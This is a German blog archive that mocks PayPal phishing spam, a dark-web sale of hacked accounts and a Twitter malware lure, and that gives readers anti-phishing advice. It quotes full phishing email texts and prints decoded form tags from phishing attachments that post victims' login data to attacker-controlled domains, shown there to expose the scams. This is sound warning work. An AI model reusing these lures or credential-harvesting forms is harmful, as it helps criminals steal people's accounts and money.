Unser täglich Spam

Aus dem Internet frisch auf den Tisch. Köstlich und aromatisch.


Schlagwortarchiv „PayPal“

Buy Fresh PayPal Accounts!

Freitag, 9. Januar 2015

Was man nicht alles kaufen kann…

#1 Source for PayPal accounts on the deep web!
http://ppshopxxxxxxxxxx.onion/

Klar, voll die Nummer Eins! Deshalb bedarf dieses tolle Angebot ja auch der Spam, die millionenfach in die Postfächer gemacht wird. Ich habe die Onion-Adresse hier mal mit ein paar „x“ unbrauchbar gemacht, es handelt sich ja sowieso um die Nummer Eins, die müsste also bei jedem Interessierten bekannt sein. 😀

We‘re selling hacked PayPal accounts from around the world, the list on our website shows what’s currently available. All accounts have a balance and most have linked bank accounts and credit cards.
We usually add fresh PayPal accounts weekly, and logins are checked and guaranteed to work or your money back!

Mit echter Geld-zurück-Garantie! Gegeben von einem Zeitgenossen, der keinen Hehl daraus macht, dass er schwerkriminell ist. Was kann da also schon schiefgehen?

Entweder haben die Spammer inzwischen wirklich so viele Accounts gephisht, dass sie gar keine Verwendung mehr dafür haben – vor ein paar Monaten ging zum Beispiel der Schwarzmarktpreis für verwendbare Kreditkartendaten mal in den Centbereich, weil es nach diversen Datenlecks so unfassbar viel davon gab – oder hier wird einfach nur betrogen. Ich tippe auf Letzteres. Für jene, die sich von diesem freundlichen Asozialen das Datenmaterial für ihren persönlichen Einstieg in einer kriminelle Karriere kaufen wollen, wird es also mit ziemlicher Sicherheit bedeuten, dass ihre kriminelle Karriere damit beginnt, erstmal als Betrogener auf der Opferseite zu stehen. Leider wird nicht jeder aus Schaden klug.

Wiederherstellung Ihres PayPal-Kontos

Donnerstag, 11. Dezember 2014

Wie, ist es jemanden aus der Hand geglitten und kaputt gegangen, das PayPal-Konto?

Sehr geehrter PayPal-Mitglied,

Ja, das stimmt. Ich bin mit Glied.

Während unserer regelmäßigen Kontoführung und Prüfverfahren haben wir einen kleinen Fehler in Ihrer erkannt Zahlungsinformationen.

Und bei euch ist Yoda der Deutschbeauftragte. Oder besser: Euch ist deutschbeauftragt Yoda bei.

Aber wo kommt er nun her, der erschröckliche Fehler, den ihr beim Kontoführen und Prüfen erkannt habt?

Dies könnte darauf zurückzuführen sein, aus den folgenden Gründen:

1. Eine aktuelle Änderung Ihrer persönlichen Daten (zB Online-Zahlungen, E-Mail-Adresse)

Ah, er kommt daher, dass PayPal für eine Online-Zahlung benutzt wurde, oder aber daher…

2. Die Unfähigkeit, genau überprüfen Sie Ihre gewählte Option der Zahlung aufgrund eines internen Fehlers in unseren Systemen.

…dass PayPal unfähig ist. :mrgreen:

Sie müssen, um Ihre Daten wiederherzustellen. Um dies zu tun, haben wir ein angebracht zu bilden, um diese E-Mail. Bitte laden Sie das Formular aus und befolgen Sie die Anweisungen auf dem Bildschirm.

HINWEIS: Das Formular muss in einem modernen Browser, der hat geöffnet werden Javascript enabled (ex: Internet Explorer, Firefox, Safari, Opera)

Wir bitten diese Informationen zu verifizieren und schützen Sie Ihre

Identität. Dies ist, um die illegale Aktivität verhindern PayPal-Konten.

Großartige Meisterschaft der Ausdrucksfähigkeit bringt man immer noch am besten zur Geltung, indem man ihren Fluss nicht mit Anmerkungen unterbricht. 😀

Bitte nicht auf diese E-Mail antworten.

Der Absender ist gefälscht.

Wir entschuldigen uns für etwaige Unannehmlichkeiten, die möglicherweise verursacht.

Ja, Phisher, ich entschuldige schon deine von dir selbst eingeräumte Unfähigkeit…

Mit freundlichen Grüßen, PayPal Security Team.

Copyright © 1999-2014 PayPal. All rights reserved.

PayPal (Europe) S.à r.l.et Cie, S.C.A.
Société en Commandite par Actions
Registered office: 22-24 Boulevard Royal, L-2449 Luxemburg
RCS Luxemburg B 118 349
PayPal Email ID PP7982

…immerhin hast du ja schon den Trick mit der Zwischenablage kapiert. Das schafft nicht jeder deiner „Kollegen“.

Und dein angehängtes HTML-Dokument, das ohne JavaScript nicht funktioniert, ist mal wieder echt göttlich:

Screenshot eines Details des angehängten HTML-Dokumentes im Editor

Schließlich kannst du dein <FORM>-Tag nicht einfach direkt reinschreiben, da stünde sonst ja drin…

<form method="post" onsubmit="return validateFormOnSubmit(this)" action="http://w.payplc.ru/de/cgi-bin/webscr.php?cmd=_logout">

…dass die eingegebenen Daten nicht etwa zur PayPal-Website gehen, sondern in die mittlerweile gewiss bei jedem Spamfilter dieser Welt bekannte Domain payplc (punkt) ru, die ganz frisch am 30. November eingerichtet wurde. Deshalb musst du diesen lächerlichen Umweg über Javascript gehen und darauf hoffen, dass die Spamfilter nicht dazu imstande sind, diese Kleinigkeit zu dechiffrieren. Du musst jetzt ganz tapfer sein, Spammer: Deine Hoffnung war vergebens.

Ach ja, und wo ich mir gerade deinen tollen HTML-Quältext anschaue: Wenn du das nächste Mal ein HTML-Dokument von PayPal in deinen Editor einfach reinkopierst, dann lösch doch bitte vorher das HTML-Gerüst, das dein Editor da reinmacht, um richtigen Webautoren die Arbeit zu erleichtern. Dieser Überrest mit einem leeren, neuen Dokument nach dem Ende des Dokumentes sieht doch ziemlich scheiße aus…

Wie, wenn du dir Mühe gäbest, könntest du auch gleich arbeiten gehen… ja, ich habs vergessen: Du bist eben ein dummer, asozialer, fauler und krimineller Spammer.

Aktueller Hinweis für ebay-Nutzer

Mittwoch, 29. Oktober 2014

Dies ist keine Spam, sondern ein kleiner Rückblick und eine aktuelle Warnung.

Im Februar dieses Jahres habe ich hier erstmals anhand eines einzigen Beispieles den Verdacht geäußert, das bei ebay ein Datenleck vorliegen könnte und habe dabei hoffentlich deutlich genug vor gutem, personalisierten Phishing gewarnt.

Dieses Datenleck wurde erst mehr als drei Monate später, im Mai dieses Jahres, von ebay bestätigt. Angreifern war es möglich, von ebay sportliche 145 Millionen Kundendatensätze mitzunehmen. Die Frage, warum ein Unternehmen wie ebay, das in dieser Weise mit Kundendaten umgeht und trotz einer monströs gewordenen organisierten Internet-Kriminalität seine Kunden drei Monate lang nicht vor möglichen Folgen des kriminellen Datenzugriffs warnt, überhaupt noch Kunden hat, kann ich auch nicht beantworten. Es gibt sicherlich einen völlig vernünftigen Grund dafür, den zu verstehen ich einfach zu dumm bin.

Seither zirkulieren die von ebay abgegriffenen Daten unter Kriminellen – und zurzeit werden, wie das LKA Niedersachsen mitteilt, diese Daten wieder einmal für sehr gefährliches, personalisiertes Phishing verwendet.

Meine Empfehlungen in dieser Sache

  1. Immer daran denken: Weder ebay noch PayPal versenden irgendwelche Mails mit der Aufforderung, an irgendwelchen Legitimationsprüfungen aus irgendwelchen Sicherheitsgründen teilzunehmen. Derartige Mails sind immer Spam.
  2. Eine eventuell bis Februar dieses Jahres gegenüber PayPal benutzte E-Mail-Adresse sollte sofort stillgelegt werden. Sie ist mit beachtlicher Wahrscheinlichkeit zusammen mit dem zugehörigen Namen und der zugehörigen Postanschrift unter Kriminellen bekannt und kann für sehr gefährliches personalisiertes Phishing verwendet werden. Eine Telefonnummer lässt sich oft aus offenen Quellen zusätzlich ermitteln, und die ebenfalls offen einsehbaren getätigten Geschäfte auf ebay lassen eine Abschätzung zu, bei welchen Personen sich ein aufwändig vorgetragener Betrug „lohnt“. Dies lässt es in meinen Augen als sicher erscheinen, dass irgendwann auf Grundlage dieser Daten sehr aufwändige und für den Betroffenen schwer durchschaubare Betrugsnummern unter Beteiligung von Briefpost- und Telefon-Verkehr durchgeführt werden.
  3. Ebay muss in seinem damaligen Umgang mit dem Datenabgriff als ein Unternehmen betrachtet werden, das kein Interesse daran zeigt, seine Kunden vor den möglichen kriminellen Folgen seines eigenen Versagens zu schützen. Wenn das Datenleck nicht an vielen anderen Stellen im Internet ruchbar und zum immer breiter rezipierten Gerücht geworden wäre, hätte ebay es seinen Kunden gegenüber vermutlich einfach verschwiegen. Das sollte Grund genug sein, nach Möglichkeit Distanz von ebay aufzusuchen.
  4. Generell ist davon abzuraten, überhaupt noch irgendwelche Daten im Internet gegenüber zentralistisch organisierten Strukturen (wie etwa Unternehmenswebsites) preiszugeben. Dies gilt in besonderer Weise, wenn dabei Geld oder wertvolle Güter bewegt werden, so dass eine kriminelle Attraktivität dieser Daten entsteht, die auch aufwändige Angriffe hervorbringt. (Vermutlich war der Angriff auf ebay aufwändig.) Diese Empfehlung kann ich erst relativieren, wenn Unternehmen bei Datenschutzversäumnissen im vollen Umfang für die Folgen haftbar gemacht werden können, was zurzeit nicht der Fall ist und was vermutlich auch so lange nicht der Fall sein wird, wie die so genannten „Volksvertreter“ in der Legislative mit zugestecktem Geld gefügig gemacht werden können.

Alles weitere kann bei der Polizei nachgelesen werden.

Das Problem: Paypal Uberprufung

Freitag, 17. Oktober 2014

Hui, ein Qualitätsbetreff! Die unfreiwillig lustige Bande von Phishern, die diese Spam verzapft hat, hat aber in der vergangenen Woche nicht so viel dazugelernt. Nur, um den schneckenhaft rasenden Lernerfolg von dummen Idioten, die naive Menschen betrügen wollen, besser zu dokumentieren, hier die tolle Spam des Tages in ihrer stilsicheren HTML-Formatierung – diesmal mit geringfügig mehr Text als beim letzten Mal, aber nicht mit mehr Inhalt:

Guten Tag!
Sehr geehrte/r Kunde/in! [sic! Doppelt hält besser!]

Wir bitten Sie um einer Unterstutzung bei der Freistellung Ihres PayPal Konto [sic!].
Es sind uns auffallige Aktivitaten aufgefallen [sic!] in der Zeit Ihrer letzen Anmeldung,
Ihr PayPal-Konto ist vorubergehend gesperrt

Wo liegt das Problem?
Bei Ihrer letzten Anmeldung sind uns auffallige Aktivitaten aufgefallen.

Was kann ich machen?
Bitte bestatigen Sie Ihre Personalitat durch folgenden Button [sic!] und fullen Ihre Personliche Daten ein [sic!], damit wir Ihr PayPal Konto freischalten konnen.
Schliesslich, konnen Sie Ihr Paypal-Konto wieder uneingeschrankt nutzen.

Klicken Sie bitte Jetzt Zugriff wiederherstellen.

Lassen Sie uns Ihr Konto gemeinsam wiederherstellen.
Nachdem Sie alle Schritte durchgefuhrt haben, antworten wir
Ihnen innerhalb von 72 Stunden.

Viele Grube!!

Und natürlich…

Copyright (c) PayPal 1999-2014 (Europe) S.r.l. et Cie, S.C.A. message ID: 4869215

…hat PayPal mit diesem Sondermüll gar nichts zu tun.

Das Problem: Paypal Konto Uberprufung

Donnerstag, 9. Oktober 2014

Oh, ein Qualitätsbetreff, diesmal mit ohne Umlaute… tief durchatmen, Flüssigkeiten aus dem Mundraum entfernen und mal lesen:

Guten Tag!
Sehr geehrte/r Benutzer/in! [sic!]

Helfen Sie uns bitte dabei, Ihr PayPal Konto in Sicherheit zu bringen. [sic!]
Es sind uns auffallige Aktivitaten aufgefallen in der Zeit Ihrer letzen Anmeldung [sic!], Ihr PayPal-Konto ist vorubergehend gesperrt

Was kann ich machen?
Bitte bestatigen Sie Ihre Personalitat [sic!] durch folgenden Button [sic!] und fullen Ihre Personliche Daten ein [sic!], damit wir Ihr PayPal Konto freischalten konnen.
Schliesslich, der Zugang zu Ihrem PayPal Account wird wieder entsperrt.

Klicken Sie bitte Jetzt Zugriff wiederherstellen. [sic!]
Viele Grube! [sic!]

Na, viele Gruben zurück! Wer darauf reinfällt, dem kann wohl niemand mehr helfen…

@KarenJDillard

Montag, 23. Juni 2014

Der, die oder das¹ Twitter-Nutzer @KarenJDillard hat es ja gar nicht so mit dem Twittern. Er, sie oder es ist erst seit gut sieben Stunden dabei und hat in dieser Zeit nur ein einziges Fiepserchen von sich gegeben…

Profil-Seite des Twitter-Spammers @KarenJDillard

…das zudem auch noch ein ganz besonders tolles Hallo ist:

PayPal Money Adder 2014 Free Download (Direct Link): -- Der Link ist über den URL-Kürzer j.mp maskiert

Als Betrachter dieser tollen und vor allem unglaublich sozialen Äußerung von dem, der oder das Twitter-Nutzer habe ich zwei Dinge gelernt:

  1. Es gibt einen freien Download von einem nicht näher erklärtem Etwas, dessen Name „PayPal Money Adder“ behauptet, dass es Geld auf PayPal hinzufügt. (Fragt sich nur, auf wessen Konto…)
  2. Die Verwendung eines URL-Kürzers heißt jetzt „direkter Link“.

Auch ansonsten mag der, die oder das Twitter-Nutzer das „soziale“ an social media nicht so wirklich…

Detail des Profils des Twitter-Spammers @KarenJDillard: 1 Tweet, 1 Follower

…er, sie oder es folgt niemanden und hat es durch den bisherigen Auftritt zu genau einem Follower gebracht. Dieser eine Twitter-Nutzer – übrigens völlig Spam-unverdächtig – hat damit klar dokumentiert, dass er im Zweifelsfall jedem folgt, hauptsache die Zahlen im Profil sehen schön groß aus.

Wie bin ich aber auf @KarenJDillard aufmerksam geworden? Der, die oder das WohltäterIn könnte doch beliebig mit dem einen Tweet in der Bedeutungslosigkeit dümpeln, ohne mir jemals übern Weg zu laufen. Nun, @KarenJDillard hat eine tolle Idee gehabt, wie man ein bisschen auf sich aufmerksam machen kann und Klickvieh für den tollen Link auf einen obskuren und mit hoher Wahrscheinlichkeit sehr ungesunden Download heranholt. Das macht @KarenJDillard nicht etwa, indem sie wie die früheren antisocial jerks in social media automatisiert folgt oder Direktnachrichten versendet – nein, das ist keine gute Strategie mehr und führt zu schnell zu Spammeldungen und anschließend dazu, dass Twitter den Account zumacht. Und so etwas ist ja eher kontraproduktiv, wenn man Leute betrügen will oder ihnen eine aktuelle Kollektion von Schadsoftware auf dem Computer installieren will.

Und deshalb geht @KarenJDillard ein bisschen anders vor. Er, sie oder es folgt nicht, sondern legt Listen an, denen er, sie oder es jede Menge Leute völlig wahllos hinzufügt. Zwei Listen sind es schon geworden…

Detail des Profils des Twitter-Spammers @KarenJDillard mit den beiden Listen namens 'paypal money'

Das Profilfoto, das vom Twitter-Spammer @KarenJDillard verwendet wird…und denen wurden in den letzten gut sieben Stunden stolze 3671 Leute hinzugefügt. Diese Listen haben zwar keinen besonders einfallsreichen Namen, aber dafür ist es auch beide Male der gleiche Name geworden: „paypal money“. Wer da hinzugefügt wird, sieht eine entsprechende Meldung in seinen Mitteilungen, nebst Link auf das tolle Twitter-Profil von @KarenJDillard und einer kleineren Version des tollen Fotos aus dem Profil, das von der, dem oder das Spammer gewiss nicht ausgewählt wurde, weil er, sie oder es zeigen wollte, dass er, sie oder es zu doof ist, es sich bequem zu machen, um ein Handy zu bedienen, sondern eher, weil da zur lasziven Haltung eine flutsche Titte im Begriffe ist, sich an die frische Luft zu befördern. Da es so gut wie sicher ist, dass dieses Bild von irgendwo aus dem Netz mitgenommen wurde, habe ich mal das Gesicht verpixelt. Oder glaubt jemand, das Spammer ausgerechnet für ein Foto den Schutz derjenigen Anonymität aufgeben würden, die sie vor dem Zugriff der Kriminalpolizei bewahren? Wo das Web voller geeigneter Bilder ist?

Mein Dank geht an bitly, die den j.mp-Link ganz schnell mit einer deutlichen Warnmeldung nebst Verweis auf Stop Badware unbrauchbar gemacht haben. Ursprünglich ging der Link in eine Facebook-Seite, aber Facebook hat den spammigen Account ebenfalls sehr schnell entfernt. Auch dafür einen herzlichen Dank von mir. Wenn das alles so gut läuft, kann die Spamschleuder ja ruhig noch ein bisschen bei Twitter bleiben, weil noch niemand so richtig skeptisch wird, wenn die Spam übers Hinzufügen zu einer Liste läuft. In der kurzen Zeit, in der ich diesen Text verfasst habe, ist die zweite Liste „paypal money“ übrigens von 968 Mitgliedern auf 1216 angewachsen. Es wäre wirklich hilfreich, wenn sich die Twitter-Nutzer mal weniger darauf konzentrieren würden, in konzertierten Aktionen die Spammeldefunktion dazu zu verwenden, unerwünschte Menschen und Meinungen wegzubeißen, und sie stattdessen für ihren eigentlichen Zweck verwendeten: Spammer zu melden, damit dieser von niemanden vermisste Twitter-Müll schnell wieder verschwindet und gar nicht erst ein gutes „Biotop“ für derartige Fäkalmaden entsteht.

¹Ein Mensch ist das vielleicht im biologischen Sinne, aber in keinem höheren Sinn des Wortes.

Konto-Status

Freitag, 6. Juni 2014

Nein, diese Mail kommt nicht von PayPal! Und sie ist ein weiteres Beispiel für die vielen schlechten Phishing-Mail, die man jeden verdammten Tag in seinem Posteingang (oder seinem Spamfilter) finden kann.

Lieber PayPal Kunde,

„Lieber Kunde“ ist genau der Name, den ich bei jedem Vertrag angebe. :mrgreen:

Aufgrund der jüngsten betrgerischen [sic!] Aktivitäten haben wir ein neues Online-Sicherheitssystem für den maximalen Schutz der persönliche Daten unserer Kunden gestartet.

Wie man in einer HTML-formatierten E-Mail ein „ü“ codiert, wisst ihr nicht, aber vom tollen Online-Sicherheitssystem für den maximalen Schutz blahfaseln! Ihr seid mir schon ein paar Experten!

Nach dieser Tatsache, wird Ihnen angeboten, ihr PayPal-Konto zu aktualisieren.

Oh, was für ein tolles Angebot! 😀

Um Ihr PayPal-Konto zu aktualisieren, liegt Ihnen in Ihrer E-Mail Adresse ein Formular zur Verfügung [sic!].

Dieses „liegt zur Verfügung“ heißt, wenn man Deutsch spricht, übrigens „ist angehängt“. Aber woher soll ein armes Übersetzungsprogramm das wissen, wenn es mit dem alphabetisch sortierten Sprachgefühl eines Wörterbuches aus dem Russischen ins Deutsche übelsetzt.

Bitte laden Sie das Formular aus [sic!], rufen Sie ber [sic!] Ihren Internet-Browser und folgen Sie den Anweisungen auf dem Bildschirm.

Jemand, der Deutsch gekonnt hätte, hätte hier geschrieben: „Bitte speichern sie den Anhang und öffnen sie ihn anschließend in ihrem Browser“. Aber lassen wir das! Der Spammer mit der miesen Sprache und der noch mieseren Masche hängt also etwas an seine Spam und verlangt von den Empfängern allen Ernstes, dass sie diesen Anhang auch öffnen. Wer auch nur für zehn Cent Verstand hat, würde nicht auf Traum auf diese Idee kommen, zumal der Spammer auch noch…

Hinweis: Das Formular muss in einem modernen Browser geöffnet werden, dass [sic!] JavaScript aktiviert hat. (z.B. Internet Explorer, Mozilla Firefox)

…zwingend das Privileg haben will, Code im Browser auszuführen.

Der für den Spammer wichtige Code ist übrigens relativ harmlos, aber das werden die meisten Empfänger nicht nachvollziehen können, weil ihnen dafür das technische Verständnis fehlt. Er besteht aus folgender Zeile JavaScript, die ich hier als Screenshot meines Editors wiedergebe:

Screenshot eines Ausschnitts des betrügerischen HTML-Anhangs der Spam in meinem Editor

Aha, sagt sich der Spamgenießer, neuerdings schreibt man seinen HTML-Code nicht mehr direkt, sondern lässt ihn vom Browser mit einer Zeile JavaScript generieren, damit der kriminelle Müll wenigstens manchmal noch durch die Spamfilter geht. Was nach dem Aufruf von unescape() aus dem langen Text wird, sieht so aus:

<form method="post" onsubmit="return validateFormOnSubmit(this)" action="http://q.dnssv.tk/de/cgi-bin/webscr.php?cmd=_logout">

Was man in dieses Formular einträgt, geht also nicht in die PayPal-Domain, sondern in die deutlich weniger Vertrauen erweckende Domain t (punkt) dnssv (punkt) tk, die offensichtlich von Kriminellen kontrolliert wird. Das ist aber auch nicht weiter überraschend, denn das richtige PayPal versendet solche Mails nicht. Was hätte PayPal auch davon, wenn die Kunden…

Screenshot der Darstellung des betrügerischen Anhangs der Phishing-Spam im Webbrowser

…noch einmal jede Menge Daten mitteilen würden, die PayPal schon längst kennt? :mrgreen:

Einmal ganz davon abgesehen, dass jemand bei PayPal wissen würde, dass einer dieser zwölf Abschnitte des Jahres auf Deutsch nicht als „Monath“ geschrieben wird und dass die „Postzahl“ hier eine „Postleitzahl“ genannt wird. Ein krimineller Spammer macht sich aber nicht die Mühe, sein Gestrokel auf Fehler abzusuchen, weil… tja… wenn er sich Mühe gäbe, er doch auch gleich arbeiten könnte.

Nach Abschluss dieser Phase [sic!] wird die Aktualisierung Ihres PayPal-Kontos normal funktionieren.

Und vorher auch. 😀

Wir entschuldigen uns für die Unannehmlichkeiten und danken Ihnen für Ihre Zeit. Für weitere Informationen kontaktieren Sie bitte den Kundenservice.

Oh, wie höflich! Ich könnte spucken vor Respekt!

Mit freundlichen Grüßen,
PayPal-Team.

Mit unfreundlichem Blick zurück
Spamessergemeinschaft.

Copyright ᄅ 1999-2014 PayPal. Alle Rechte vorbehalten.

Copyright für eine Spammail! Komm, Spammer, fordere doch mal eine Vergütung für mein Vollzitat ein!

(Und nein: Richtige Unternehmen, die so ein proklamiertes „geistiges Eigentum“ unter ihre E-Mails „rotzen“, sind in dieser intelligenzverachtenden Geste keinen Deut seriöser als dieser kriminelle Idiot von Phisher.)

PayPal (Europe) S.¢ r.l.et Cie, S.C.A.
Société en Commandite par Actions
Registered office: 22-24 Boulevard Royal, L-2449 Luxemburg
RCS Luxemburg B 118 349
PayPal Email ID PP58

Nun, von PayPal kommt diese Mail nicht. Zum Thema Phishing hat PayPal – lobenswerterweise! – selbst einen langen und guten Text auf seiner Website veröffentlicht, der das für jeden Nutzer völlig klar machen sollte – wenn er den Text denn auch liest.

Zalando und Haken Baskan? Verdächtige Zahlung erkannt?

Donnerstag, 8. Mai 2014

Hier nur ein schneller Link, weil der Text schon an anderer Stelle fertig geschrieben ist.

Was es mit der flutartig in die Postfächer strömenden „Mail von PayPal“ auf sich hat, weil eine Zahlung an Zalando mit der Lieferadresse eines angeblichen „Haken Baskan“ (nicht einmal einen richtigen türkischen Namen haben die Spammer hinbekommen) fehlgeschlagen ist, kann man bei Mimikama nachlesen.

Allein die Tatsache, dass ich das hier erwähne, macht hoffentlich schon klar, dass diese Mail nicht von PayPal kommt, sondern ganz gewöhnliches Phishing ist. Die verlinkte Website ist ein Betrug. Sie gehört nicht zu PayPal. Alles, was dort eingegeben wird – der PayPal-Login und alle weiteren Daten – geht in die Hände von Verbrechern, die dafür „Nutzungsformen“ finden werden, die niemandem gefallen können.

Bitte den Müll einfach löschen.

Schutz vor Phishing

PayPal spricht alle Kunden in echten PayPal-Mails mit ihrem Namen an. (Das ist kein sicheres Erkennungsmerkmal, aber hier hätte es funktioniert.) Und PayPal fordert niemals dazu auf, sich auf einer anderen Website als der von PayPal anzumelden oder irgendwelche Daten einzugeben, die PayPal schon längst bekannt sind. (Die Links aus Phishing-Mails gehen natürlich niemals zu PayPal.)

Fast alle angeblichen Mails von „PayPal“, die bei mir ankommen, sind Phishing-Spams. Allein das sollte Grund genug sein, niemals in eine Mail von PayPal zu klicken, sei sie eine Spam oder sei sie echt. Der ganze Schaden durch PayPal-Phishing lässt sich vollständig vermeiden, wenn man immer in die Adresszeile seines Browsers paypal (punkt) com eingibt (oder etwas unsicherer, weil durch trojanische Browser-Addons und andere Schadsoftware manipulierbar: wenn man sich ein entsprechendes Lesezeichen im Browser anlegt, über das man die Seite aufruft), statt in die Mail zu klicken. Dieser Arbeitsaufwand in der Größenordnung von Sekunden kann sehr viel Ärger, Schreibkram, unangenehme Bekanntschaft mit der Polizei und Geld ersparen – die Kombination aus geplüdertem Konto und Identitätsmissbrauch durch die organisierte Kriminalität (über die persönlichen Daten, die nach einem Paypal-Login eingesehen werden können) ist nicht lustig.

Deshalb: Niemals die Website einer Bank, eines Online-Shops oder eines ähnlichen Anbieters, wo es um Geld geht, aufrufen, indem man in eine E-Mail klickt! Diese Vorsicht ist in einer Zeit, in der die Spammer riesige Datenbanken mit Zuordnungen von Namen zu Mailadressen haben und sogar persönliche Ansprachen überzeugend hinbekommen, die wichtigste Vorbeugung, um nicht zum Opfer der Phisher zu werden – eine sinnvolle Ergänzung dazu ist es, für jeden wichtigen Webdienst eine eigene E-Mail-Adresse zu verwenden.